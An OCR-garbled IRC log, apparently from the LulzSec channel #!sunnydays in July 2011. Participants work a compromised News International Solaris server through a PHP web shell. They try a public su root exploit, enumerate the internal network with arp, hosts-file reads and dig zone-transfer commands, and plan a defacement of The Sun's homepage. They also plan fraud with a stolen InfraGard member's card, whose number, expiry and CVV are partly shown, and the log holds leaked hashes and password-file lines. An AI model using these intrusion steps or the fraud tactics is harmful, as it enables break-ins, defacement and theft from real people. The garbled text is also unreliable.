16:10 <@Sabu> SunOS shell 5.10 Generi c_120011-14 sun4u spare SUNW,Sun-Fi re-v240 
16:10 <©Sabu> thats my most stable shell 
16:10 <(asabu> ;D 




_ has quit [Ping timeout] 
e whole outfit :0 



16:10 < 
16:10 < 



:d 
lol 
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10 < 

10 < 

11 <@Sabu> 

11 <(asabu> 




TtS 




# lsunnydays.log 

seriously? 
or is that the sun? 
im old school bro. 
my server 

want to compile an exploit? 

jEA link me 

http://www. exploit-db. com/exploi ts/15245/ 
any experience with that? 

and must be sitting on Solaris boxes like whoa 



BTW, thanks Sabu 




quit [Client exited] 
joined #!sunnydays 



IS broken 
thanks 
will it be much work? 



16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 

16; 

http://www. 1 nfosecuri ty-magazi ne. com/vi ew/19411/nasa-hacker- refuses -to-pay-compen 
sati on- to-us -government/ 

lol tht exFBi dude was talking to me in DM 
exFBl dude? 

tht ^hI^h 

The gu^Ivn^someone owned his cox account 

asked me if i did it xD 
"not me mr officer :3" 

$125 for Sword Cane, Stove Top Hat, Overcoat, vintage pipe + 

a monocle :P 

fixed it 



6018396E.CB47D490.A27E456C.IP] has joined #!sunnydays 



:D 

whats new? 
$125. 

for a 

at? xD 



lulzsec outfit. 




pipe tobacco an 
16:32 <@Sabu> kk 



32 <@Sabu> 
32 <@Sabu> 



16 
16 

16:32 < 

think Disney 



16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 



It was mikevirus that took over his comcast lolol 

He said he's just looking out for some of his friends he seems to 
is a target 
<©Sabu> I still got the screen shots 

< lololol 

< hi sabu :D 
<@Sabu> hi beautiful <33333 
<@Sabu> how you doing 
<@Sabu> miss you manggggg 

good comming home soon 

hi sabu, you got it working? 
so whats happening :D? 



32 
32 
32 
32 
33 
33 
33 
33 
33 
33 
33 
33 

33 < 

33 <@SaDu> 

33 <@Sabu> 

34 <@Sabu> 
34 < 



box die? 




34 <(asabu> 

34 <©Sabu> 
< 




on my box 

the exploit itself 
but I got the exploit working 
I'll upload it somewhere 

and you think it should work? 

hopeful ly 

UgM these professional hackers killed the sun box lolol 
^^Tit ever come back? 
They hacked it? 
who hacked it lol xD 

The sysadmins restarted it! 

and didn't remove anything! 

sweeeet 

Also 
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#! sunnydays .log 



esun? xD 



16; 
16; 
16; 
16; 
16; 
16; 
16; 
16; 



35 
35 
35 
36 
36 
36 
36 



http : //www. i btimes . com/arti c1es/179927/20110714/sabu-identity- reveal ed-anonymous 
hacker-anti sec-security- hacked- hack-attack- jester. htm 
16:35 <©Sabu> they doxed me as some random guy in portugal lolol 
<W^M ^'^^ those your real dox? 
<@SaDu> no wtf you know im not portguese 
< @Sabu > LOL 

<W^M so they're not real :D? 
<@SaDu> nein! 

<(flSabu> its awesome though 
;36 <@Sabu> the guy wrote on his site 
16:36 <@Sabu> www.visigod.com 
16:36 <(asabu> like wtf 
16:36 <@Sabu> The hacking lie 
16:36 <@Sabu> Thursday, 14 July 2011 00:03 

16:36 <@Sabu> I woke up the other day and I was looking at my websites when 
someone from one of my forums posted a thread stating that I might get arrested, 
when I went to see it, thinking it was a bad joke or something, I've discovered 
that someone in the hacking scene is trying to use my identity by stating that 
I'm the leader of an hacking group called LulzSec. 

16:36 <@Sabu> I'm writing this post to say that I have nothing to do with this 
hacking group, I don't know this guy Sabu or anyone related to him. 
16:36 <(asabu> LOL 

16:36 < i was like kinda beliving them when you said "come and get me im in 

Portugal i was like ":0" 
16:36 <@Sabu> ;) 

36 <@sabu> you know disinfo is our game baby 

37 < :D <# 
< <3 

37 <J^| also ice cream -> <D 

37 <@SaDu> The Jester's latest "unmasking" isn't the 
cyber-vigil antes have claimed to have discovered Sabu's 

unmasking the Anonymous AntiSec hacker has become something of an internet sport 
-- perhaps the equivalent of Elma Fudd chasing Bugs Bunny. There is even a joke 
parody site dedicated to the hacker-hunt. 
16:37 <@Sabu> ice cream is the sex. 

Oh remember 
I'm 



s ok to play along with that story? 



16: 
16: 
16: 
16: 
16: 



fi rst time would be 
identity. The practice of 




nice to meet you all <3 
greetings from Sweden 
du svensk, 



shitty weather here in 
"bror<3 
jag "ar bast 
lovely weather here in taiwan 

I KNEW IT! 

CHINESE GOV CONTACT 
m hao ni hao ma? 

\u041f\u0440\u0438\u044f\u0442\u043d\u043e 
Je\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f ! 
Jag ar kapten pa fartyget! !11!11!1" 10! 

?Sabu> Tol 

lol 
"lulz 
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16:40 

16:40 

16:40 

16:40 

16:40 

16:40 

16:40 

16:40 

16:40 

16:40 

16:40 

16:40 

16:40 

16:40 

16:41 

16:41 

ago. 

16:41 

16:41 

16:41 

16:42 

16:42 

16:43 

16:43 

16:44 

conne 

16:44 

16:44 

16:44 

16:44 

16:44 

16:45 

16:45 

16:45 

16:45 

shoul 

16:46 

16:46 

16:46 

16:46 

16:47 

16:47 

16:47 

16:47 

16:47 

16:47 

16:47 

16:48 

16:48 

16:48 

16:48 

16:48 

16:48 

16:48 

16:48 

16:49 

16:49 

16:50 

16:50 

16:53 

16:54 

16:54 

16:54 

16:54 

morni 

16:55 

16:55 

16:55 



#! sunnydays . log 

<@Sabu>^PB|^| how the fuck they found you to be in sweden anyway 

< ^^^^Hlot sure 

imma set my IRC real name to D: 

ecause he used a swiss vpn xD 

eir words too 

LOL 

"wait, really? 
swi ss 
vpn 

L 
0 
L 

_ Fag uses vpntunnel too :> 
)u> thats bad 

btw vpntunnel s Sweden nodes were vulnerable to mitm until some days 

all vpn are vuln to mitm 
same for all protocols 
> technically 

imma mitm on my Ian D: 
spyin' on my own PCs 

Sabu got that uploaded? 

are you using windows/linux? 

I mean how many people here actually check the rsa of a ssh 

ction when they connect? 

< are you 100% sure those SSL certs are legit? 
<@SaDu> I do 

<@sabu> but not everyone does 

<@Sabu> as soon as I see a rsa changed I'm like sup 
<@Sabu> but you can mitm that too 
<@Sabu> there was a paper a few years ago on it 

< ^^^^^H Connect to iRCs trying to get legit SSL certs :P 

< ^^H^H self signed inbound 

< ^^^^^course they're all technically vulnerable. 




But smth like this 



dn ' t ha ppen : http : //i mg708 . i mageshack . us/i mg708/9691/i magelked . j pg 

< Imao 
<@SaDu> bro 
<@Sabu> what the fuck 
<@Sabu> LOL 

<JPH I guess it also 
<@Sapu> oh baby 

< 



allowed for LAN access to those as well? xD 




thats not good 

lol. 

Sabu> swissvpn is a trap 

i've never trusted vpn never used iut 

http://img801.imageshack.us/img801/8213/image6uh . jpg 
http ://img843 . i mageshack. us/i mg843/8836/i mage 5gv.jpg 
xbox360 fag 
blegh 

LOL 

PRINTER 

now 

thats fun 
! 

open up 4chan go to the nearest gore thread 

PRINT ET 

what happened to thesun? 
id someone else hack it or something? 

■ ' :3 

Nope we ran a root exploit against it 
and killed the box lol 

Thankfully some nice sysadmins just restarted the box this 
left all our shells :p 
DOS'd it then xD 
_, , ya 

they"'' re using spare so you need some spare shell code 
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16; 
16; 
16; 
16; 
it' 
16; 
16; 



55 < 
55 < 

55 < 

56 < 
s supos 
56 < 
56 < 



#! sunnydays .log 
Once Sabu sends me on this next exploit 
____ we might get root! 
IS It the telnetd exploit? 

the fact it killed the box kinda says it's working but just not as 
to 

did you manage to get a reverse shell on there? 

Yup, this exploit doesn't involve shellcode, 



http : //www . expl oi t-db . com/expl oi ts/15245/ 



16:57 < 

16:57 < 

just have to 
16:57 < 
16:57 < 
16:57 < 

16:58 < . 

sun homepage 




wants 
17:02 
17:02 
17:05 
17:07 



< 
< 
< 
< 

to 

< 
< 
< 
< 
< 

< 
< 



M 

(flsabu 



ahh ki :) 

Yes it turns out the backconnect built into the shell works, 
port 443 to bypass the firewall! 

* Should of checked obvious ports 
:D i should have thought of tht 443/5 would be trusted ports 
So we might be able to get root, other we can just deface the 

anyone no where I can get a VPN for cheap, as in free.... 
[u rl ] http : //www. sendspace . com/f i 1 e/738rpu [/url ] 
thanks very much! 
bbcode maximum powah 
su exploit 

this ire chats is bbcode compatibles 

_ BBCODE POWAH 

row 

[b] MARKUP TIEM[/b] 

mni eves 

wants to have lunch next week when he's in NYC. probably 
1SCUSS ^^^^^g and @anonymousabu 
2 minute^igo Favorite Reply 
Imao xD 

u> http: //www. youtube.com/watch?v=9TG4RTwctlw sex 

shit 

micrositel # ./su_poc 

SunOS 5.11 'su' null ptr Psu: Sorry 
micrositel # 





Sabu> 

<©Sabu> you 
17:09 <®Sabu> lol 




exploit didn't work 
micrositel ? 
on crack br? 

lol, it says that in the back connect, but your not actually 



^^^mi crositel # su 
su: Sorry 
so like 

it worked visually. 
: P 
lo 

lol 

I was showing as root before i did anything 
Sabu> McCain Asks For Committee On wiki leaks. Anonymous 
commi ttee? 

we were in the senate already 
senate.gov that is :P 

http : //mccai n . senate . gov/publ i c/i ndex . cf m?FuseActi on=PressOf f i ce . PressRel eases&Co 

ntentRecord_id=250e73df-04c9-0fe5-5417-7701b0ec3945&Region_id=&Issue_id= 

17:12 < @Sabu > and thus, it begins. 

17:13 < as in like a comitte to discuss anon or like talking anon haveing 

pol i ti ca^seats? 

17:13 <(asabu> hes asking for a commi tee to discuss the anonymous problem 
17:13 <(asabu> meanin 
17:13 <(as 
taskforce 

17:13 <@Sabu> to attack us 
17:13 < ^BH ohlawdy :D 

17:14 P""'^^ °" ^^'^ pink battle helmet 
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17:14 
17:14 
17:14 
17:14 



17:14 
17:14 
17:14 
17:14 
17:14 
17:14 




If 



#! sunnydays .log 

yeah 
like 

a committee thatll 
investigate us 
and bring out a file 
with an advise 
like 

"EXTERMINATE ALL SERVERS" 
and then 
bombers will go 
bomb datacenters 
14 * puts on her pink battle helmet 
it's as accurate as the 9/11 comission, we won't have to fear 



)U> LOL 





because the committe told us so, 
true 1^ 

micrositel # w 
8pm up 10:21, 
tty 
pts/1 
pts/2 
micrositel 




. newsint.co. 



. newsint. 



# who 
system boot 
run-level 3 

console 
pts/1 



<it=0 



exi t= 



17:16 

17:16 

17:16 

17:16 

17:16 

17:17 

17:17 

17:17 

17:17 

17:17 

17:17 

17:18 

17:18 

17:18 

17:18 

17:18 

17:18 

17:18 

honest 

17:20 

17:20 

17:21 

17:21 

17:21 

17:21 

17:21 

17:22 

17:22 

17:22 

17:22 

17:22 

17:22 





users , 
login© 
5 :42pm 
6: 13pm 
-a 

:ul 
:ul 
:ul 
:ul 
Jul 



load average: 0.29, 0.34, 0.38 
idle :cpu pcpu what 



14 
14 
14 
14 
14 



36 3 

1 1 

07:57 

07:58 3 

07:58 10:20 

08:06 0:05 
17:42 



top 
-bash 



Jul 14 18:13 0:01 
Jul 14 15:18 3:00 
Jul 14 15:09 3:09 



0 

202 
1554 
16699 

17618 

9274 

9296 



id=ts/3 
id=ts/4 



)U> Its 



moar 
rewts? 

sysadmins logged in? 
should we wait a while? 
you manage to root it? 
nope 

it didn't work 
it relies on su? 

Would the web user have to be in the sudoers group? 
when I run su 

oesnt matter 
a buffer overflow 
it just says "Sorry" 
ok well it didn't work I think 
^_ still you look very rootish, visually again 
they' re running 
oh yeah 

how do I check, sorry I'm a bit of a nOOb at rooting to be 

<W^M execute id 
< @sapu: 

< ^^p^^^r^*^^^ found it 

< B^po^see if you can read /etc/shadow 
<(dSabu> own that shit up 

<@Sabu> :D 

< ^^B^^^J couldn't think of the command 

< ^^H^^^^ ^HMmi crosi tel # id 

< ^^^^^B ui d=4 9000(promote) gi d=49000(promote) 

< ^^^^^^B ^^^mi crosi tel # ./su_poc 

< ^^^^^^5 ^SunOS 5.11 'su' null ptr Psu: Sorry 

< ^^J^^BI HHBmicrositel # id 

< ^^^^^B uid=49000 (promote) gid=49000Cpromote) 
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#! sunnydays .log 
micrositel # cat /etc/shadow 
cannot open /etc/shadow 
micrositel # 



whihc exploit is it you're trying/ 

http : //extras . thesun . co . uk/wordpress/versi on . php# 

oops 

http : / /www . expl oi t-db . com/expl oi ts/15245/ 
fixed by Sabu 



oh shit 
more problems 
http: //extras, 



thesun . co . uk/sol /breaki ngnewspage . html 



17:33 
17:33 
17:33 



that page 
seems empty 
it should 

the content is commented 
IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transi ti onal //EN" 
"http ://www.w3 . o rg/TR/html 4/1 oose . dtd"> 
17: 33 < <html> 
17:33 < <head> 
17:33 < yeh 
17:33 < <title> </title> 

17:33 < ■■ 

http : //weMevtwo : 3000/cgi -bi n/wwwsdps . cgi ?TYPE=DATE&SCHEME=extrasthesun&AGE=0 



17:34 < 

/uOl/web/extras . 
didn't update 



I updated 

iesun.co.uk/basedi r/sol /breaki ngnewspage. html put that page 




is it set up for load sharing or something 
and the file hasent been mirrored across? 
Be back in 10 

possible 

Spam f5 to be sure, 
try cl earning cache 
what did you update it with? 

oh LOL, guys 

but guys ;_: 

remember when we owned Infragard? 

hacking is illegal ;_; 
yeh :D 

oh shit, we forgot about that we email 

we have her fucking full mastercard number and shit 
let's abuse her already 

does so 

es the one with the nexis access too 

yeah man 

tink 

I have her infoslut dox 



got 
lol 
lol 



all her passwords and shit 



eet! 

oh i have a nexis account around here somewhere 

reset her nexis access first so we can look some people up :D 



pull on 

Mastercarc 



shit for the lulz 



are able to 
17:45 < 
17:46 < 



has a safe dump 
er CC too 
get those fucking outfitsa 1 ready 
$125 each D: 
yay new outfit 
use her CC to buy loads of bitcoin 

Everything included apart from the mustache. 

grow ourselves. 

)ut prepaids for the lulz 
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17:46 
17:46 
17:46 
17:46 




17:46 
17:47 
17:47 
17:47 




http://cgi 
m3fObcc08e3 
17:48 < _ 
http://cgi .e 
09?pt=US_Hat 
17:48 < 
17:48 
17:48 
SPEND SPEND 
17:48 < 
17:48 
17:48 





http://cgi 
12615733?pt= 

17:49 < 

hours to see 
17:49 < 
17:49 
17:50 




17:52 

17:53 . 

for one too! 
17:53 < 
17:53 < 
outfits 
17:53 < 



#! sunnydays .log 
what outfits be they? 
Stove top hats 
pipes 

sword canes 
monocles 
and an overcoat 
lol 

I have a Victorian top hat that cost 100 USD 
and some pipe tobacco of course 
fuck you. 

ay . com/TALL-Stove-PlPE-Abraham-Li ncol n-Costume-Top-Hat-Black-/280641 
Def aul tDomai n_0&hash=i tem415789b500 

just get me a nice dress jD 

okay I will buy with money and ship to you 

matching shoes! ! 

LOL what the fuck is that top hat made of, cardboard? 
^^^B lulzsec costume or nothing. 
I got a real silk one 
Most likely 

if money doesnt matter 
ay7com/viNTAGE-STYLE-TOP-HAT-BLACK-/270780860643?pt=US_Hats&hash=ite 

ay . com/BLACK-SQUlRE-Tal 1 -vi ctori an-Top-Hat-ALL-SIZES-New-/2905175000 
s&var=&hash=i tem895f 663al6 
even better 

— credit card information — 

\/ MC 5178 0580 6932 [LAST FOUR DIGITS SHIELDED SO ^^^B 
SPEND 

V 03/14 
_ V 412 

wants a 2yr perfect-priva cy accoun t xD 

TOP OUTFIT NAO SHIP TO ^HBH ^^^^ ADDRESS 
well make it 2 outfits. 

ay . com/vi ctori an-Pocket-Chai n-Lens-Monocl e-MAGNlFYlNG-Glass-5x-/1606 
LH_Def aul tDomai n_0&var=&hash=i tem6blba87e99 

right well I can recon this lady out the ass for the next 24 
activity 

pretty sure I have 8 of her emails 
including ©microsoft. com 

she worked with Netscape and has access 
al so 

http://www. swordsdi rect . com/sword_canes . html 
okay so I don't think she has a PayPal account 
whi ch means . . . 

well actually I think she does 
finds an Atlanta IP 
or just buy bitcoins first 
and spend it on shit later 
I wouldn't mind a VPN either :P 
I'll dox her up first to check how much money 
loads fo bi coins with her cc and you a god :D 
maybe I'll call from PayPal and give her her full 
and ask how much money it contains 
due to bank tables being updated 

XD 

launches the bitcoin hashes to slush money away, 
seems to hold some high position lets just take it she's loaded 
If your sending stuff to dump address but me down 

IF we get bitcoins ill personally stab people for 3 of those 

credit cards dont have a certain ammount of money in them they're 
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#! sunnydays .log 
set to a certain ammount tht can be used with tne card 

she could be penny less and you can still use the CC thats what it's 

what I meant was we pretend to be from PayPal and ask how much 
linked to the c ard 

well actually good point 

let's splash out 
we'll just buy a fucking island 
let her go 100k in red number 

lol who is she? 

send mee 1000 bitcoin pis :3 
i i i i i nf ragard . 

some infoslut from inf ragard, she worked with Microsoft before 
ah ok 

disregard her acquire bitcoins 

are you around? 
Open the hashes 
slush the money away 

guys could l get one of you to look at 

esun. CO. uk/wordpress/version . php, Open 

thesun . CO . uk/basedi r/sol/breaki ngnewspage . html . This is the page 
being linked to in an i frame from thesun.co.uk homepage 

Her husband: "Baby what kind of shoes cost 50k?" 

woman shoes 
of them :3 

If we can edit it we can redirect the sun homepage to a 
iting already but the change doesn't show up when I load the 
a browser yet when I create another .html file in that folder in can view 
im confused! 



17: 


54 


< 


for 


' XD 


17: 


54 


< 


is 


i n 


th 


17: 


54 


< 


17: 


54 


< 


17: 


54 


< 


17: 


54 


< 


17: 


54 


< 


17: 


54 


< 


17: 


54 


< 


17: 


54 


< 


17: 


54 


< 


17: 


55 


< 


17: 


55 


< 


17: 


55 


< 


17: 


55 


< 


17: 


56 


< 




http://extras .t 
/uOl/web/extras 
that is 
17:56 < 
17:56 < 
17:57 < 
17:57 < 
deface, 
page in 
it fine, 





trie 




and? 

you rename fiels? 

Figure out why its not updating although it 
yes 

rename the origional to something else and make a 



saves in the shell 
new one with the 



17:58 
17:59 
17:59 
17:59 
18:00 
18:00 
18:00 
WITH 
18:00 < 
the alt 
18:00 < 
want to 
18:00 < 
18:00 < _ 
http ://we' 
18:00 
18:00 
18:00 
18:01 
18:01 
18:01 
18:01 
18:01 
http://we' 
i frame open 
18:02 < 
18:02 < 
18:02 < 

18:02 < 

http : //webdevtwo 
18:02 < 



evtwo : 3000/cgi -bi n/wwwsdps . cgi ?TYPE=DATE&SCHEME=extrasthesun 
read that file? 
the file itself 
says you should go to there 
to conf i rm the change 
<!-- TO DO: 
Test 

Below, pick either "example with link to article" or "example 
upade "IMAGE" with the URL for the image and "description" with 
remove the "<! — " and the -"->" brackets around the one you 
Save and go to: 

evtwo : 3000/cgi -bi n/wwwsdps . cgi ?TYPE=DATE&SCHEME=extrasthesun 
and press confirm. 

--> 

brb now 

asically need intranet accewss? 
access*? 
looks that way 

thats what I was thinking, 

wont sticking 

evtwo : 3000/cgi -bi n/wwwsdps . cgi ?TYPE=DATE&SCHEME=extrasthesun i n an 
the page? 

oh it updated for you? 
It you put it in a html on their site? 

no, just taken from source 

1 1 was 

000/cgi -bi n/wwwsdps . cgi ?TYPE=DATE&sCHEME=extrasthesun&AGE=0 
I changed it to 
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# lsunnydays.log 

http : // webdevtwo : 3 000/cgi -bi n/wwwsdps . cgi ?TYPE=DATE&SCHEME=extrasthesun 
18:02 < ^^^^^H to test if it updated 
18:02 <^^H^^H so it did 

18:03 <@Sabu> where does it update to? mi an page? 



18:03 < 



I tried setting up a proxy on the server and using it to 



access that page on the Ian but it didn't work 



18:05 < 
18:05 < 



I was updating 

http://extras.thesun.co.uk/sol/breakingnewspage.htm1 which is 



linked to with an i frame on the sun homepage 



18:05 < 
18:05 < 
18:06 < 




but did you try loading the page in an i frame? 
which techincally should still work 
<i frame 

s rc= ' http : //extras . thesun .co.uk/ sol /breaki ngnewspage . html ' f rameborder="0" 
scrol 1 i ng= ' no ' margi nwidth="0" marginheight="0" id="breakingNewsiFrame"></iframe> 

But an i frame is client side? 

you can load local files in an i frame 

ok, ill give that a go 
so 1 wonder if <i frame 
webdevtwo : 3000/cgi -bi n/wwwsdps . cgi ?TYPE=DATE&SCHEME=extrasthesun&AGE= 



18:06 < 
18:07 < 
18:08 < 
18:09 < _ 

src^'http: 




0' f rameborder="0" margi nwidth="100" marginheight="100"></if rame> will work? 
18:09 < ^H^^H speaking of i framing, Skype still hasn't fixed the persiste 



tent 




skype 

keeps signing into Skype and getting a 



It appears that there is a delay after updating files in the 



xss issues 
18:11 < 

18:11 

"ROFL" from 
18:12 

shell and viewing them there, before they update 
18:12 
18:12 
18 : 12 
it won't 
18:14 < 



box that says 




maybe its a caching system 
one sec 

I'll try create a new file and it should load straight away as 

een cached before 

ah ok, the file shows up fine if its a new file but it doesn't 



update straightaway when its an old file 



18:14 < 

18:14 < 

18:15 < 

18:17 <@Sabu> it 




just a caching system 

http : / /ext ras . thesun . co . uk/sol /i ndex4 . html 
i frame doesn't work as i suspected 
oesnt work because ifrmesare clientside 
18:17 <@Sabu> now 

18:17 <©Sabu> if you uploaded a php file 
18:17 <(asabu> that includeQ's it 
18:17 <®Sabu> then yes 

18:17 <@sabu> because now its server side 
18:17 < _ 
http : //w'e 
18:17 < 
18:17 < 
18:17 < _ 
http : //we 
18:17 < 
18:17 < 

18:17 <_ 

18:18 <@Sabu> arp 




^^■mi crositel # wget 
lOO/cgi ■ ■ 



evtwo : 3000/cgi -bi n/wwwsdps . cgi ?TYPE=DATE&sCHEME=extrasthesun&AGE=0 
20705 
20706 

micrositel # --19:21:19-- 



)OU/cgi 



bi n/wwwsdps . cgi ?type=date 

=> ~wwwsdps.cgi?TYPE=DATE' 
Resolving webdevtwo. 
^^^mi crositel # 

a 



failed: Host not found. 



18:18 
18:18 
18:18 
18:18 



18:18 
18:19 
18:19 
18:19 
18:20 



to BTC? 



18:18 <@Sabu> or 
18:18 <@Sabu> cat /etc/hosts 
18:18 < @Sabu > or 

<W^M find out the IP of webdevtwo 
< @sapu > sex 

<(?SaDu> do they use internal dns servers??? cat /etc/resolv.conf see if you 
can simply get a axfr internal 1 
18:18 <@Sabu> y 

18:18 <@Sabu> and smap out its network 
sbau you're the sex :D 

ya thats what I thought 

are you around? 

I airwTow^lll^lUII 

oh cool, are any of those BitCoin exchangers doing automatic CC 
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18:20 < 
18:20 < 
18:20 < 
18:20 < 




# lsunnydays.log 
J micrositel # arp -a 
Net to Media Table: IPv4 
Device IP Address 



Mask 



Flags Phys Addr 



bgeO 
bgeO 
bgeO 
bgeO 




18:20 
00:10: 
18:20 
00:03: 
18:20 
00:03: 
18:20 
00:03: 
18:20 
18:20 
00:22: 
18:20 
00:03: 
18:20 
01:00: 
18:20 
01:00: 
18:20 
18:20 
18:20 
18:20 
18:20 
18:20 

18:20 

mi crosi tel . wpng . newsi nt.co.uk 
18:20 " " 



interweb-734.wpng.newsint.co.uk 255.255.255.255 
php-web6.wpng.newsint.co.uk 255.255.255.255 
micrositel 255.255.255.255 SP 

php-web4.wpng.newsint.co.uk 255.255.255.255 



because l want to spend like $100,000 of some FBI woman's money 
interwebl-734.wpng.newsint.co.uk 255.255.255.255 



bgeO 
bgel 
bgel 
bgeO 





mi crosi tel-bgel 255.255.255.255 SP 

base-address.mcast.net 240.0.0.0 
base-address.mcast.net 240.0.0.0 

micrositel # 

micrositel # cat /etc/hosts 



SM 



SM 



# internet host table 
# 

127.0.0.1 localhost 

143.252.77.125 micrositel 



loghost 




192.168.146.2 mi crosi tel-bgel mi crosi tel-bup 

# Netbackup media servers 

192.168.146.1 nidmz-mdsrvl 
192.168.146.6 nidmz-mdsrv2 

# client bup 

192.168.146.2 mi crosi tel-bup 
micrositel # 

micrositel # cat /etc/resolv. conf 

omam wpng.newsint.co.uk 
nameserver 143.252.80.5 
nameserver 143.252.80.207 
search wpng.newsint.co.uk newsint.co.uk 
^^^mi crosi tel # 

ooes that mean they have internal nameservers? 
o this 

<@Sabu> dig axfr newsint.co.uk 0143.252.80.5 

<(asabu> dig axfr newsint.co.uk @143 . 252 . 80. 207 also 
<(asabu> so you can map out any potential internal records 
<(asabu> wow 

<@Sabu> they're using 192.168 schema lol 
<©Sabu> newbies 

dam n Sabu , y ou know your way around Sun 
22 < ^^^^H because I want to spend like $100,000 of some FBI 




18:20 
18:20 
18:20 
18:21 
18:21 
18:21 
18:21 
18:21 
18:21 
18:21 
18:21 
18:21 
18:22 
18:22 
18:22 
18:23 
18:23 
18:23 
18:23 
18:23 
18:23 
18:24 
woman 
18:24 
18:25 
18:25 
18:25 
18:25 
18:25 
18:25 
18:25 
18:25 
18:25 
18:25 
18:25 
18:25 <@Sabu> try 

18:25 <@Sabu> with thesun.co.uk and those ips 
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^jmicrositel # dig axfr newsint.co.uk ©143.252.80.5 
«» DiG 9.2.4 «» axfr newsint.co.uk ©143.252.80.5 
; global options: printcmd 
Transfer failed. 

^■micrositel # dig axfr newsint.co.uk ©143.252.80.207 
«» DiG 9.2.4 «» axfr newsint.co.uk ©143.252.80.207 
; global options: printcmd 
Transfer failed, 
^■micrositel # 
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18:26 <@Sabu> 
18:26 <@Sabu> 
boxes 

18:26 <@Sabu> 
18:27 <(asabu> 
18:27 <@Sabu> 
18:27 <(asabu> 

18:28 < . 

page load for 
18:28 < 
18:28 < 
18:28 < 
18:28 < 
18:28 < 
18:29 
18:29 
18:29 
18:30 
18:32 

18:34 < 

http://extras 
thesun.co.uk. 
to their inte 
18:35 < 
18:35 < 
18:41 
18:42 
18:42 
18:44 
18:44 
18:44 
18:44 
18:48 
18:48 
18:48 <' 
18:48 < 
18:48 < 
18:48 < 
18:48 < 
18:48 <' 
18:48 <' 
18:48 
18:49 
18:49 
18:49 
18:49 
18:49 < 
18:49 

18:52 

trying to exp 
18:52 < 
18:55 < 
18:55 
18:55 
18:56 

pages on news 
what you can 
18:57 < 
You will 
18:57 
defauul t 
18:57 < 
going to 
18:58 < 
18:58 < 
18:58 < 
18:58 < 
one site 



#! sunnydays .log 
if doesnt work they dont allow transfer from the servers ip 
you see the arp records though, they seem to have ac ouple of dev 

you can go to a web di rectory 
cat »seckz.php«EOF 
wait whats the ip of that webdevtwo? 
you gots it? 

http://extras.thesun.co.uk/sol/breakingnewspage.html does that 
you guys still, because it doesn't exsist 

how to we get the server to update its cache quicker 
The shell says Server IP: 
143.252.77.125 
Client IP: 
143.252.149.202 

So I assume the box is proxyed through a caching server 
I don't think we have the ip of webdevtoo 
*webdevtwo 

bear in mind those instruction code be out of date 
Ya dig doesn't work for thesun.co.uk either 

ok success, we can update 

thesun. CO. uk/sol/breaki ngnewspage.html so we can deface 
As the root exploit didn't work, and unless we can get more access 
rnal network I propose that we deface tonight 

"today 

you around? 
acklog is big 
did u get reverse running as promote? 
su -' asking for passwd? 





*EA2B581BF18084284FB479C7524CA2C0D05B9535 mysql 5 iirc 
admin account of some .gov, is trying to crack 



you may try bitcoinexchange.ee 
but not sure 

^Bsnt mtgox 
accept 
cc? 

only through dwolla 
which tends... to go derp 
ah 

also mt. gox is baaaad 
they only failed a tiny bit. 
hard . 

su doesn't prompt for a password 

tradehills (or something like that?) 
it just says 'Sorry. ' 
So what is the plan, will we deface thesun.co.uk, or continue 

01 t the box 

bitcoingexchange.ee doesnt do direct cc to bite 
^^^^^^1 I'm all for either to be honest 
^gues^^T Sabu knows any more tricks with the box 
what can we deface right now? 
_ Right now we can just deface thesun.co.uk homepage and some 
int. CO. UK .. Sabu would you like to just hop in yourself and see 
do 

i cannot find a site which handles CCs on their own. 

to use something like Dwolla or PayPal, 
cat /etc/ssh/sshd_config on thesun looks pretty untouched from 

failing that a thesun.co.uk deface would be good, are we just 

in a pastehtml? 

because I vote for the comic 
I laughed so hard at that comic 
https : //www . exchangebi tcoi ns . com/ 

ere's loads of sites on there surely we can deface more tha just 
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18:58 < 
18:59 < _ 
the main" 
18:59 < 
18:59 < 
18:59 < 
18:59 < 
c3d91f44" 



sites 



#! sunnydays .log 

okay afk again 

yes we probably can, but many of them just store assets for 




publ i c_key : encrypted_pri vate_key 



# The syntax is: 

# netname 

# 

nobody 

efada50d336d9bd67bl6e7016f987bb607:7675cd9b8753b5db09dabfl2da759c2b 



dl331c927bb322861fffb54bel3f55e9 



18:59 < 
18:59 <<i 

19:00 < . 

timesonline.co.ul 
19:01 < 




thanks 



by the way 



such as extra scripts and images, we can't actually change 
although we can change extras.timesonline.co.uk ] 
also I think many of the sites on the box are no longer hosted 



there as the domain are pointed elsewhere 




If everyone hops on the shells and looks around we might find 

send me a link to one fo the shells :D 
http : //extras . thesun . co . uk/wordpress/f ooter2b . php 



19 : 02 < 

something nice 
19:02 < 
19:02 < 

19:07 < 

http : //extras . thesun . co . uk/wordpress/f ooter2b . php?act=l s&d=%2Fu01%2Fweb%2Fhol di ng 

-page%2Fbasedi r&sort=0a 

19:07 < ^^M^^^J Thats the newint.co.uk site 

19:07 < ^^^^^9 we used to have full write access but they changed the owner 

of most oftn^pages to 1000 

19:08 < ^^^^^B great work ^^H^^H 

http: //extras . thesun . co . uk/wordpress/footer2b. php?act=l s&d=%2Fu01%2Fweb%2 Fwww. new 
softheworld.co.uk%2Fbasedi r%2F&sort=0a News of the world holding page 



19:08 
19:09 
19:09 
19:10 
19:13 
19:14 
19:14 
19:14 < 
19:14 <' 
19:14 <' 
19:14 <' 
19:14 
19:14 
19:15 
19:15 
19:15 
19:15 
19:15 
19:15 
19:15 
19:15 
19:15 
19:15 < 
19:15 < 
Developers 
19:15 <' 
19:15 
19:16 
19:16 
19:17 
19:17 
19:17 
19:18 
19:18 < 
19:18 < 
19:19 < 
19:20 < 
19:20 
19:20 




again most of the pages owned by root 
Does anyone else want to give the root exploit a go> 
7 

telnet surely is closed isnt it 
remotely yes locall possible not 



root:x:0:0 
daemon :x: 1 
bi n :x : 2 : 2 : 
sys :x : 3:3: 



Imi crosi tel Super-user :/:/usr/bi n/bash 



/usr/bi n : 
/: 

adm : x : 4 : 4 : Admi n : /var/adm : 
1 p:x: 71: 8 : Li ne Printer Admin:/usr/spool/lp: 
uucp:x: 5:5: uucp Admi n :/usr/lib/uucp: 

